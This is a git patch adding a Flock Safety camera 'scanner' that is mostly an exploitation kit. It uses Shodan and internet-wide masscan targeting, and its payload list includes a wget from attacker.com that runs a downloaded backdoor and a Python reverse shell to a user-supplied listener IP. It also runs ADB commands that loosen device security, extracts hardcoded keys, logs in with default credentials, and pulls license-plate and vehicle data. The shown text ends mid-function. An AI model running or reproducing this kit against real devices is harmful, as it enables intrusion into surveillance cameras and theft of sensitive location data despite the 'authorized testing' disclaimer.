From 0115df928db694db1fe06e6f9c7d479f7c413709 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sat, 18 Jul 2026 21:39:48 +0000 Subject: [PATCH] Upload files to "/" --- README.md | 164 ++++++- masscan_wrapper.sh | 18 + run_scanner.sh | 34 ++ scanner.py | 1069 ++++++++++++++++++++++++++++++++++++++++++++ shodan_queries.py | 80 ++++ 5 files changed, 1363 insertions(+), 2 deletions(-) create mode 100644 masscan_wrapper.sh create mode 100644 run_scanner.sh create mode 100644 scanner.py create mode 100644 shodan_queries.py diff --git a/README.md b/README.md index c04b7a9..048735d 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,163 @@ -# Flock_SCAN +

+ + + +

-scan and exploit \ No newline at end of file +``` +███████╗██╗ ██████╗ ██████╗██╗ ██╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ +██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ +█████╗ ██║ ██║ ██║██║ █████╔╝ ███████╗██║ ███████║██╔██╗ ██║ +██╔══╝ ██║ ██║ ██║██║ ██╔═██╗ ╚════██║██║ ██╔══██║██║╚██╗██║ +██║ ███████╗╚██████╔╝██████╗██║ ██╗ ███████║╚██████╗██║ ██║██║ ╚████║ +╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ +``` + +Multi-mode Flock Safety security assessment tool. + +--- + +## Capabilities + +### CVE Scanning (v1) +| CVE | Score | Description | +|-----|-------|-------------| +| **CVE-2025-59403** | 9.8 | Unauthenticated admin API / ADB RCE | +| **CVE-2025-59407** | CRIT | Hardcoded keystore crypto key | +| **CVE-2025-47818** | HIGH | Hardcoded fallback hotspot credentials | +| **CVE-2025-47823** | HIGH | Hardcoded system password on ALPR firmware | + +### Flock Instance Discovery (v2 — NEW) +Scans any subnet for all known Flock camera fingerprints. + +| Fingerprint | Port | Detection | +|-------------|------|-----------| +| **ADB shell** | 5555 | `getprop ro.product.model` → Flock/Falcon/Sparrow | +| **Admin web UI** | 80/443 | GainSec's `admin_page_template.html` in HTTP body | +| **ONVIF device** | 80/443/8899 | SOAP `GetDeviceInformation` → manufacturer string | +| **SpeedPourer** | 21 | FTP banner / admin page references | +| **FRP tunnel** | 7000-7500 | Fast Reverse Proxy banner grab | +| **Cloud DNS** | — | Admin UI contains `*.flocksafety.com` URLs | +| **All 4 CVEs** | — | Per-host exploit checks run automatically | + +### Traffic Analysis (v2 — NEW) +Determines if a Flock camera sends data to **the cloud** or a **local station**. + +``` +CLOUD → Sends data to api.flocksafety.com / Flock infrastructure +LOCAL_STATION → Data stays on-prem (no cloud contact detected) +INDETERMINATE → Unable to determine (camera may be offline) +``` + +Detection methods: +- **DNS resolution** of `api.flocksafety.com` and other Flock domains +- **Admin UI inspection** — `/metadata`, `/config` endpoints checked for cloud URLs vs internal IPs +- **FRP tunnel detection** — Reverse Proxy tunnel on ports 7000/7500 +- **ADB network config** — reads gateway and DNS from camera shell + +--- + +## Quick Start + +```bash +pip install requests +python3 scanner.py +``` + +### CVE Scanning +```bash +# Single target +python3 scanner.py -t 192.168.1.100 + +# From file +python3 scanner.py -f targets.txt --exploit + +# Save results +python3 scanner.py --output results.json -v +``` + +### Instance Discovery +```bash +# Scan a /24 subnet +python3 scanner.py --discover 192.168.1.0/24 + +# Scan a /16, save findings +python3 scanner.py --discover 10.0.0.0/16 --output found.json +``` + +### Traffic Analysis +```bash +# Check if a camera phones home +python3 scanner.py --analyze-traffic 192.168.1.100 + +# Save flow analysis +python3 scanner.py --analyze-traffic 10.0.0.50 --output flow.json +``` + +--- + +## Interactive Menu + +```bash +python3 scanner.py +``` + +``` +┌─────────────────────────────────────────┐ +│ SELECT INPUT METHOD │ +├─────────────────────────────────────────┤ +│ 1. Single IP │ +│ 2. IP Range (CIDR) │ +│ 3. From File │ +│ 4. Shodan Query │ +│ 5. Falcon/Sparrow Signatures │ +│ │ +│ ═══ NEW ═══ │ +│ 6. Flock Instance Discovery │ +│ 7. Traffic Analysis │ +│ │ +│ 8. Return │ +└─────────────────────────────────────────┘ +``` + +--- + +## Shodan Queries + +```bash +python3 shodan_queries.py +``` + +Includes dedicated `FLOCK_DISCOVERY` queries: + +| Query | Finds | +|-------|-------| +| `title:"admin_page_template"` | Flock admin portals | +| `"/onvif/device_service" Flock` | ONVIF-capable Flock devices | +| `"SpeedPourer" port:21` | Speed test FTP servers | +| `"FRP" "flock" port:7000` | Reverse proxy tunnels | +| `ssl.cert.subject.cn:"*.flocksafety.com"` | Flock TLS certificates | +| `org:"Flock Safety"` | All Flock-owned infrastructure | + +--- + +## Safety + +- **Exploitation disabled by default** — requires explicit `--exploit` flag +- **Rate-limited threads** — default 10, configurable with `-T` +- **Discovery mode is passive** — only sends probe/identification packets +- **User confirmation** required before any exploit execution + +```bash +# Scan only (no exploitation) +python3 scanner.py -t 192.168.1.100 + +# Scan + exploit (requires confirmation) +python3 scanner.py -t 192.168.1.100 --exploit +``` + + + +

+ Authorized security testing only. Use on systems you own or have written permission to test. +

diff --git a/masscan_wrapper.sh b/masscan_wrapper.sh new file mode 100644 index 0000000..2af4996 --- /dev/null +++ b/masscan_wrapper.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# masscan_wrapper.sh - Use masscan to find targets + +echo "CVE-2025 Masscan Wrapper" +echo "========================" + +# Common ports for vulnerable services +PORTS="80,443,5555,5037,8080,8443,9000,8443" + +echo "Running masscan for ports: $PORTS" +sudo masscan -p$PORTS --rate=1000 -oJ masscan_results.json 0.0.0.0/0 + +echo "Extracting IPs..." +cat masscan_results.json | jq -r '.[] | .ip' > targets.txt + +echo "Found $(wc -l < targets.txt) targets" +echo "Now scanning targets with CVE scanner..." +python3 cve_scanner.py -f targets.txt -o results.json diff --git a/run_scanner.sh b/run_scanner.sh new file mode 100644 index 0000000..0ccd671 --- /dev/null +++ b/run_scanner.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# Run scanner with proper Shodan queries + +echo "CVE-2025 Scanner with Shodan Integration" +echo "========================================" +echo "" + +# Generate queries +echo "Generating Shodan queries..." +python3 shodan_queries.py + +echo "" +echo "Select option:" +echo "1. Run scanner with Shodan auto-query" +echo "2. Run scanner with manual IP" +echo "3. Run scanner with file" + +read -p "Choice (1-3): " choice + +case $choice in + 1) + echo "Running scanner with Shodan..." + # Use the scanner with a specific query + python3 scanner.py -v + ;; + 2) + read -p "Enter IP: " ip + python3 scanner.py -t $ip --exploit + ;; + 3) + read -p "Enter file: " file + python3 scanner.py -f $file + ;; +esac diff --git a/scanner.py b/scanner.py new file mode 100644 index 0000000..654d36c --- /dev/null +++ b/scanner.py @@ -0,0 +1,1069 @@ +#!/usr/bin/env python3 +""" +FLOCK CVE Scanner + Discover + Traffic Analysis +Scans for: + - CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8) + - CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL) + - CVE-2025-47818: Hardcoded fallback hotspot credentials + - CVE-2025-47823: Hardcoded system password on ALPR firmware + - Flock instance discovery on local subnet + - Cloud vs local station data flow detection +""" + +import socket +import ssl +import json +import time +import sys +import os +import re +import hashlib +import base64 +import threading +import queue +import subprocess +import telnetlib +import struct +from datetime import datetime +from urllib.parse import urlparse, urljoin +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import argparse +import csv +import random + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +# ── Flock-known infrastructure for cloud detection ── +FLOCK_CLOUD_DOMAINS = [ + "api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com", + "login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com", + "events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com", + "flock-hibiki-inbox.s3.us-east-1.amazonaws.com", + "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com", + "internal.flocksafety.com", "prometheus.flocksafety.com", +] + +FLOCK_CLOUD_IPS = [ + "198.202.211.1", # flocksafety.com A + "52.72.49.79", # safelist (AWS) + "34.71.237.120", # scim (GCP) + "104.18.16.189", # websockets (Cloudflare) + "104.18.17.189", # websockets (Cloudflare) +] + +# ── Flock ONVIF manufacturer fingerprint strings ── +FLOCK_ONVIF_FINGERPRINTS = [ + b"Flock", b"Flock Safety", b"Falcon", b"Sparrow", + b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo", +] + +class Colors: + HEADER = '\033[95m' + BLUE = '\033[94m' + CYAN = '\033[96m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + END = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + BLINK = '\033[5m' + +# Extended Shodan queries +SHODAN_QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', 'title:"Sparrow"', + '"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"', + 'port:5555 "Android"', '"Android Debug Bridge"', + 'port:5037 adb', 'http.title:"ADB"', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + '"/api/v1/execute"', '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', '"keystore" "hardcoded"', + '"crypto" "key" "Android"', '"/api/v1/keystore"', + '"/api/v1/security"', '"hardcoded_key"', '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', '"/api/v1/wifi"', + '"hotspot" "config"', '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"', + '"/api/v1/alpr"', '"license plate" "system"', + '"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + + +class CVEExploiter: + def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False): + self.verbose = verbose + self.output_file = output_file + self.threads = threads + self.timeout = timeout + self.exploit = exploit + self.results = [] + self.lock = threading.Lock() + self.work_queue = queue.Queue() + self.total_scanned = 0 + self.vulnerable_found = 0 + self.exploited = 0 + self.shodan_api_key = None + + self.payloads = { + 'CVE-2025-59403': { + 'command_exec': [ + 'id', 'whoami', 'uname -a', + 'cat /etc/passwd', 'ls -la /', 'ps aux', + 'netstat -tulpn', 'ifconfig', + 'echo "VULNERABLE" > /tmp/test.txt', + 'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh', + 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'', + ], + 'adb_commands': [ + 'shell id', 'shell whoami', 'shell getprop', + 'shell pm list packages', 'shell dumpsys battery', + 'shell input keyevent 26', + 'shell settings put global adb_enabled 1', + 'shell settings put secure install_non_market_apps 1', + ], + }, + 'CVE-2025-59407': { + 'crypto_keys': [ + 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA', + 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==', + '-----BEGIN PRIVATE KEY-----', + 'hardcoded_keystore_password', + 'android_keystore_key_2024', + 'default_crypto_key_v6.35.33', + ], + }, + } + + # ═══════════════════════════════════════════════════ + # PRIMITIVE HELPERS + # ═══════════════════════════════════════════════════ + + def _probe_port(self, host, port, proto="tcp"): + """Quick TCP connect probe.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + r = s.connect_ex((host, port)) + s.close() + return r == 0 + except Exception: + return False + + def _http_get(self, host, path="/", port=80, timeout=None): + """Plain HTTP GET, returns body text or None.""" + try: + u = f"http://{host}:{port}{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + try: + u = f"https://{host}:443{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + return None + + def _is_private_ip(self, ip): + try: + first = int(ip.split(".")[0]) + if first == 10: + return True + if first == 172 and 16 <= int(ip.split(".")[1]) <= 31: + return True + if first == 192 and ip.split(".")[1] == "168": + return True + except Exception: + pass + return False + + def _adb_get_prop(self, host, prop): + """Try ADB getprop on port 5555.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, 5555)) + s.send(f"shell getprop {prop}\n".encode()) + time.sleep(0.5) + data = s.recv(4096).decode(errors="replace") + s.close() + return data.strip() + except Exception: + return None + + def _onvif_probe(self, host): + """Send ONVIF GetDeviceInformation probe.""" + body = ( + '' + '' + '' + '' + '' + ) + for port in (80, 443, 8899): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, port)) + req = ( + f"POST /onvif/device_service HTTP/1.1\r\n" + f"Host: {host}:{port}\r\n" + f"Content-Type: application/soap+xml; charset=utf-8\r\n" + f"Content-Length: {len(body)}\r\n" + f"Connection: close\r\n\r\n{body}" + ) + s.send(req.encode()) + resp = s.recv(4096) + s.close() + # Check for Flock-specific manufacturer strings + if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS): + # Extract manufacturer/model + m = re.search(rb"(.*?)", resp) + model = re.search(rb"(.*?)", resp) + return { + "manufacturer": m.group(1).decode(errors="replace") if m else "unknown", + "model": model.group(1).decode(errors="replace") if model else "unknown", + } + except Exception: + pass + return None + + def _check_frp_tunnel(self, host): + """Check if a Flock FRP tunnel server is listening on common FRP ports.""" + for port in (7000, 7500, 7001): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect((host, port)) + # FRP server sends a short banner or waits for auth + s.settimeout(2) + try: + banner = s.recv(128) + if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0: + s.close() + return {"port": port, "banner": banner[:64].decode(errors="replace")} + except socket.timeout: + # Connection accepted but no banner — possible FRP + s.close() + return {"port": port, "banner": "(no banner — possible FRP tunnel)"} + s.close() + except Exception: + pass + return None + + def _check_dns_resolve(self, hostname): + """Check if a hostname resolves to a known Flock cloud IP.""" + try: + ips = socket.getaddrinfo(hostname, 80) + return [addr[4][0] for addr in ips] + except Exception: + return [] + + def _check_cloud_connection(self, camera_ip): + """ + Probe a suspected camera to determine if it talks to Flock cloud + or a local station. Uses three methods: + A) DNS test on the camera's configured DNS server + B) Check if the admin web UI contains cloud URLs + C) Port-scan for local relay + """ + evidence = [] + + # B) Probe admin web interface for embedded cloud URLs + for path in ("/", "/metadata", "/config", "/config/network", "/status"): + body = self._http_get(camera_ip, path) + if body: + for domain in FLOCK_CLOUD_DOMAINS: + if domain in body: + evidence.append(f"admin_ui_contains_{domain}") + + # C) Check for local station relay port + for relay_port in (80, 8080, 9090, 443): + if self._probe_port(camera_ip, relay_port): + evidence.append(f"local_relay_port_{relay_port}") + + if evidence: + if any("admin_ui_contains" in e for e in evidence): + return "CLOUD", evidence + return "LOCAL", evidence + return "UNKNOWN", evidence + + def _traffic_sniff_analysis(self, camera_ip, duration=30): + """ + Passive DNS / TCP analysis (requires root / scapy). + Falls back to DNS-resolution test if scapy not available. + """ + # Fallback: just try to resolve Flock domains — if the camera's + # network allows it, the camera itself will resolve them. + reachable = [] + for domain in FLOCK_CLOUD_DOMAINS[:6]: + ips = self._check_dns_resolve(domain) + if ips: + reachable.append(domain) + if reachable: + return "CLOUD_REACHABLE", reachable + else: + return "NO_CLOUD_REACHABLE", [] + + # ═══════════════════════════════════════════════════ + # FINGERPRINT DISCOVERY + # ═══════════════════════════════════════════════════ + + def discover_fingerprints(self, host): + """ + Run all Flock fingerprint probes against a single host. + Returns a list of finding dicts. + """ + findings = [] + + # 1) ADB / Android shell + if self._probe_port(host, 5555): + model = self._adb_get_prop(host, "ro.product.model") + device = self._adb_get_prop(host, "ro.product.device") + if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()): + findings.append({ + "type": "FLOCK_ADB", "port": 5555, + "device": model, "cve": "CVE-2025-59403", + "detail": f"ADB accessible, model={model}, device={device}", + }) + elif model: + findings.append({ + "type": "ANDROID_ADB", "port": 5555, + "device": model, + "detail": f"Android ADB open (non-Flock model='{model}')", + }) + + # 2) Admin web UI fingerprints + for port in (80, 443): + body = self._http_get(host, "/", port=port) + if body: + if "admin_page_template" in body: + findings.append({ + "type": "FLOCK_ADMIN_WEB", "port": port, + "cve": "CVE-2025-59403", + "detail": "admin_page_template.html found — confirmed Flock admin portal", + }) + if "SpeedPourer" in body: + findings.append({ + "type": "FLOCK_SPEEDPOURER", "port": port, + "detail": "SpeedPourer FTP reference found on admin page", + }) + if "flock" in body.lower(): + # Generic Flock mention + findings.append({ + "type": "FLOCK_GENERIC", "port": port, + "detail": "Page body contains 'flock' text", + }) + + # 3) ONVIF probe + onvif = self._onvif_probe(host) + if onvif: + findings.append({ + "type": "FLOCK_ONVIF", + "detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}", + "onvif_info": onvif, + }) + + # 4) FRP tunnel + frp = self._check_frp_tunnel(host) + if frp: + findings.append({ + "type": "FRP_TUNNEL", "port": frp["port"], + "detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}", + }) + + # 5) CVE probes (reuse existing logic) + cve_results = self.scan_and_exploit(host) + for cr in cve_results: + findings.append({ + "type": cr.get("cve", "CVE"), + "detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}", + "cve_finding": cr, + }) + + # 6) Cloud connection check + verdict, evid = self._check_cloud_connection(host) + if verdict != "UNKNOWN": + findings.append({ + "type": f"DATA_FLOW_{verdict}", + "detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}", + }) + + return findings + + # ═══════════════════════════════════════════════════ + # DISCOVERY RUNNER + # ═══════════════════════════════════════════════════ + + def run_discovery(self, cidr): + """Multi-threaded subnet discovery for Flock instances.""" + import ipaddress + net = ipaddress.ip_network(cidr, strict=False) + hosts = [str(ip) for ip in net.hosts()] + print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}") + print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}") + start = time.time() + discovered = [] + + def _discover_worker(): + while True: + try: + h = self.work_queue.get_nowait() + except queue.Empty: + return + find = self.discover_fingerprints(h) + if find: + with self.lock: + discovered.append({"host": h, "findings": find}) + self.results.append({"target": h, "findings": find, "type": "DISCOVERY"}) + self.vulnerable_found += len(find) + with self.lock: + self.total_scanned += 1 + if self.total_scanned % 25 == 0: + elapsed = time.time() - start + rate = self.total_scanned / elapsed if elapsed > 0 else 0 + eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0 + sys.stdout.write( + f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] " + f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} " + ) + sys.stdout.flush() + self.work_queue.task_done() + + for h in hosts: + self.work_queue.put(h) + + threads = [] + for _ in range(min(self.threads, len(hosts))): + t = threading.Thread(target=_discover_worker, daemon=True) + t.start() + threads.append(t) + for t in threads: + t.join() + + elapsed = time.time() - start + print() + print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}") + print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}") + + # Show a summary table + if discovered: + print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}") + print("─" * 60) + for d in discovered: + types = ", ".join(f["type"] for f in d["findings"]) + print(f"{d['host']:<18} {types:<40}") + + return discovered + + # ═══════════════════════════════════════════════════ + # TRAFFIC ANALYSIS RUNNER + # ═══════════════════════════════════════════════════ + + def run_traffic_analysis(self, camera_ip): + """ + Analyze whether a Flock camera sends data to the cloud + or a local station. Returns structured verdict. + """ + print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}…{Colors.END}") + + result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []} + + # 1) DNS – can it resolve Flock cloud? + dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5) + result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence}) + print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}") + if dns_evidence: + for d in dns_evidence[:5]: + print(f" resolves → {d}") + + # 2) Admin UI inspection + verdict2, evid2 = self._check_cloud_connection(camera_ip) + result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2}) + print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}") + for e in evid2[:5]: + print(f" {e}") + + # 3) FRP tunnel check + frp = self._check_frp_tunnel(camera_ip) + if frp: + result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp}) + print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}") + print(f" banner: {frp['banner']}") + else: + result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"}) + print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}") + + # 4) ADB shell → check network config + if self._probe_port(camera_ip, 5555): + gw = self._adb_get_prop(camera_ip, "net.route.gateway") + dns = self._adb_get_prop(camera_ip, "net.dns1") + result["checks"].append({ + "test": "adb_network", "verdict": "ADB", + "detail": {"gateway": gw, "dns": dns}, + }) + print(f" ADB net: gateway={gw} dns={dns}") + + # Overall verdict + verdicts = [c["verdict"] for c in result["checks"]] + if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts: + result["overall"] = "CLOUD — data flows to Flock infrastructure" + elif "LOCAL" in verdicts: + result["overall"] = "LOCAL_STATION — data stays on-prem" + else: + result["overall"] = "INDETERMINATE — unable to determine data flow" + + print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}") + + with self.lock: + self.results.append(result) + + return result + + # ═══════════════════════════════════════════════════ + # EXISTING METHODS (unchanged) + # ═══════════════════════════════════════════════════ + + def print_banner(self): + banner = f""" +{Colors.RED}=========================================================================== + + {Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ + {Colors.YELLOW}██═════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ + {Colors.YELLOW}██ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║ + {Colors.YELLOW}██ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║ + {Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║ + {Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ + + {Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗{Colors.RED} + {Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝{Colors.RED} + {Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ {Colors.RED} + {Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ {Colors.RED} + {Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ {Colors.RED} + {Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ {Colors.RED} + +==========================================================================={Colors.END} + +{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END} +{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END} + +{Colors.BOLD}Vulnerabilities:{Colors.END} + {Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END} + {Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END} + {Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END} + {Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END} + +{Colors.BOLD}New:{Colors.END} + {Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END} + {Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END} + +{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'} +{Colors.BOLD}Threads:{Colors.END} {self.threads} +{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s +""" + print(banner) + + # ── Shodan ── + def get_shodan_targets(self, api_key): + targets = [] + try: + import shodan + api = shodan.Shodan(api_key) + print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}") + for cve, queries in SHODAN_QUERIES.items(): + if cve == "FLOCK_DISCOVERY": + continue # covered below + query = " OR ".join(queries[:3]) + print(f"{Colors.CYAN}Searching {cve}...{Colors.END}") + try: + results = api.search(query, limit=50) + for result in results['matches']: + targets.append(result['ip_str']) + print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}") + if not targets: + fallback = [ + '"/api/v1/admin" port:443', '"/api/v1/system" port:443', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + 'port:5555 "Android"', '"/api/v1/alpr"', + ] + print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}") + for q in fallback: + try: + for r in api.search(q, limit=30)['matches']: + targets.append(r['ip_str']) + except Exception: + pass + targets = list(set(targets)) + except ImportError: + print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}") + except Exception as e: + print(f"{Colors.RED}Shodan error: {e}{Colors.END}") + return targets + + # ── CVE scan/exploit methods (preserved exactly) ── + def exploit_cve_59403(self, target, path, payload): + results = [] + if 'adb' in str(payload).lower(): + for cmd in self.payloads['CVE-2025-59403']['adb_commands']: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(self.timeout) + sock.connect((target, 5555)) + sock.send(f"{cmd}\n".encode()) + response = sock.recv(4096).decode() + sock.close() + results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB', + 'command': cmd, 'output': response[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}") + else: + for cmd in self.payloads['CVE-2025-59403']['command_exec']: + if 'ATTACKER_IP' in cmd: + attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}") + cmd = cmd.replace('ATTACKER_IP', attacker_ip) + payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd} + url = f"http://{target}{path}" + try: + resp = requests.post(url, json=payload, timeout=self.timeout, verify=False) + if resp.status_code == 200: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'command': cmd, 'response': resp.text[:500], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}") + if 'root' in resp.text or 'uid=' in resp.text: + print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}") + except Exception as e: + if self.verbose: + print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}") + return results + + def exploit_cve_59407(self, target, path, response_text): + results = [] + for pattern in self.payloads['CVE-2025-59407']['crypto_keys']: + if pattern in response_text: + kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+') + for key in kp.findall(response_text): + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'key_found': key[:100], 'exploited': True}) + if self.verbose: + print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}") + return results + + def exploit_cve_47818(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + url = f"http://{target}{path}" + try: + resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/config', '/settings', '/wifi', '/network', '/status']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False) + if r2.status_code == 200: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep, + 'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True}) + except Exception: + pass + except Exception: + pass + return results + + def exploit_cve_47823(self, target, path, credentials): + results = [] + u, p = credentials.split(':') + try: + resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False) + if resp.status_code == 200: + for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']: + try: + r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, 